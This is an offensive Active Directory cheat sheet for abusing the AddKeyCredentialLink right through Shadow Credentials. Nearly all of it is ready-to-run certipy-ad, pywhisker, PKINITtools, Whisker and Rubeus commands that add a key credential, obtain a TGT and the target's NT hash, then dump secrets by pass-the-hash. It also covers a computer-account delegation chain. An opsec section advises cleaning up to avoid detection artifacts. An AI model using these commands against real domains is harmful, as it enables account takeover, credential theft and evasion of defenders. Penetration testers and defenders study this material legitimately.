AddKeyCredentialLink

Source can write to the msDS-KeyCredentialLink attribute on the target, enabling Shadow Credentials (PKINIT-based auth to obtain NT hash without knowing the password)

Applies to: User/Computer β†’ User, Computer

Requires: Domain functional level 2016+, ADCS with a KDC certificate (or Windows Hello for Business configured), or a DC supporting PKINIT


Linux Abuse

certipy-ad β€” full auto chain (write key, get TGT, extract NT hash)

certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip>
# Outputs: <target-user>.pfx + NT hash

certipy-ad β€” manual step-by-step

Step 1: Add key credential

certipy-ad shadow add -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip>
# Outputs: device ID and saved <target-user>.pfx

Step 2: Authenticate with certificate β†’ get TGT + NT hash

certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>
# Outputs: TGT (.ccache) + NT hash

Step 3: Use NT hash

# Pass-the-hash
secretsdump.py -hashes :<ntlm-hash> '<domain>/<target-user>@<dc-ip>'
# Or get TGT
getTGT.py '<domain>/<target-user>' -hashes :<ntlm-hash> -dc-ip <dc-ip>

Cleanup (remove the key credential)

certipy-ad shadow clear -u <username>@<domain> -p '<password>' -account <target-user> -dc-ip <dc-ip> -device-id <device-id>

Target: Computer β€” shadow credentials for RBCD chain

certipy-ad shadow auto -u <username>@<domain> -p '<password>' -account <target-computer$> -dc-ip <dc-ip>
# NT hash of computer account β†’ use for S4U2Self if computer has no TrustedForDelegation
# Or directly PTH as computer account for secretsdump

pywhisker (alternative to certipy for key cred write)

python3 pywhisker.py -d <domain> -u <username> -p '<password>' --target <target-user> --action add --dc-ip <dc-ip>
# Then use gettgtpkinit.py + getnthash.py from PKINITtools
python3 gettgtpkinit.py -cert-pfx <target-user>.pfx -pfx-pass <pfx-pass> <domain>/<target-user> <target-user>.ccache
export KRB5CCNAME=<target-user>.ccache
python3 getnthash.py -key <session-key> <domain>/<target-user>

Windows Abuse

Whisker β€” add shadow credential

Whisker.exe add /target:<target-user> /domain:<domain> /dc:<dc-ip>
# Whisker outputs the full Rubeus command to use

Rubeus β€” request TGT with certificate (output from Whisker)

Rubeus.exe asktgt /user:<target-user> /certificate:<base64-pfx> /password:<pfx-pass> /domain:<domain> /dc:<dc-ip> /getcredentials /nowrap

Whisker β€” list existing keys on target

Whisker.exe list /target:<target-user> /domain:<domain> /dc:<dc-ip>

Whisker β€” cleanup

Whisker.exe remove /target:<target-user> /domain:<domain> /dc:<dc-ip> /deviceid:<device-id>

Opsec

  • Writing msDS-KeyCredentialLink is an LDAP modify (event 4662 with GUID tracking if object-level audit is on); less noisy than password resets
  • The key persists on the account until removed β€” clean up after use to avoid detection artifacts